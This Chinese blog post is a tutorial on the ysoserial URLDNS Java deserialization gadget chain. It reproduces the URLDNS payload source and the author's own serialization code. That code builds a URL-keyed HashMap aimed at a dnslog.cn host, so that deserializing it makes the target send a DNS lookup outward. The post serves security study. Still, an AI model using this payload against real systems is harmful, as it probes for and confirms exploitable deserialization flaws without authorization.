URLDNS是https://github.com/frohoff/ysoserial的一个利用链,算是比较简单的一种,代码如下:
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
上面比较抽象,在这里,我自己写一些代码,来解释URLDNS:
条件
由于反序列化时,需要调用的是readObject()方法,而开发者经常自己会重写readObject()方法。
首先,要满足反序列化攻击,需要满足的几个条件:
- 共同条件:实现
Serializable
接口,即:可以序列化的 - 入口类(source):重写readObject方法,而且最好在重写的readObject方法里面还调用一个常见的函数(hashCode函数,toString函数等),
- 参数类型宽泛,最好jdk自带的,比如Map接口,HashMap类,HashTable;
以HashMap为例
- 首先可以序列化,因为实现
Serializable
接口
- 参数类型宽泛,因为HashMap接受的类型是Object
- 而且jdk自带
- 重写readObject方法
为什么HashMap类要重写readObject方法呢?因为HashMap需要保证键(key)的唯一性,所以需要计算键(key)的hashCode,如下图:发现调用了hash函数
继续跟上去,发现hash函数接受一个Object类型的key,如果不为空的话,就会调用key的hashCode()函数来计算hashCode()
即:HashMap
的readObject()
HashMap
的putVal()
HashMap
的hash(key)
HashMap
的hashCode()
: key.hashCode()
调用链(gadget chain)
一般是利用相同名称,相同类型
由上面条件可以知道,我们新建一个HashMap时,会计算key的hashCode值,即最终会调用key.hashCode(),而如果我们传入的key是一个java.net.URL
对象呢?我们看看看URL类的hashCode方法:
上面发现首先自定义了一个hashCode变量,然后判断hashCode值,如果值不等于-1,那么直接返回hashCode值,否则再执行handler.hashCode()
方法,接着跟下去:
发现handler的hashCode()
方法,会执行getHostAddress()
方法,接着跟着getHostAddress()
走:
getByName()方法的作用是根据域名获取其ip,其实就是一次DNS查询。
即:
URL.hashCode
handler.hashCode()
getHostAddress()
getByName()
知道了整个逻辑,写如下代码
有几点要注意:
1,为什么要使用反射修改hashCode的值呢?
答:因为如果hashCode的值不等于-1,就不会执行hashCode()方法了,由于HashMap在put的时候,也会调用putVal(),hash()方法,所以我们需要在put之前就利用反射把hashCode的值改了,只要不为-1就不会再序列化时调用hashCode方法了,否则会在序列化阶段就执行hashCode()方法。在执行put方法之后,我们再利用反射把hashCode的值设为-1,让其调用hashCode方法,从而解析域名,发送一次DNS请求。
package io.ser2;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Serializable {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
System.out.println("序列化中===========");
URL url = new URL("http://wo3i7l.dnslog.cn");
//通过反射设置URL对象的hashCode值
Class<?> clazz = Class.forName("java.net.URL");
Field hashField = clazz.getDeclaredField("hashCode");
hashField.setAccessible(true);
//这里hashCode不能设置为-1,因为不是-1就不会调用hashCode()方法了。而在下面设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法
hashField.set(url,123);
//定义一个HashMap
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
//初始化一个URL对象,作为key放在hashmap的key中
hashmap.put(url,1);
//在这里设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法
hashField.set(url,-1);
serialize(hashmap);
System.out.println("序列化完毕==========");
}
private static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(o);
oos.close();
}
}
package io.ser2;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class DeSerializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println("反序列化中=========");
deserialize();
}
public static Object deserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));
Object o = ois.readObject();
ois.close();
return o;
}
}
此时看urldns源码
总结一下
URLDNS的利用链如下,这里直接引用p牛的,p牛牛p
标签:java,HashMap,URL,ysoserial,hashCode,URLDNS,import,序列化 From: https://www.cnblogs.com/yingzui/p/18629622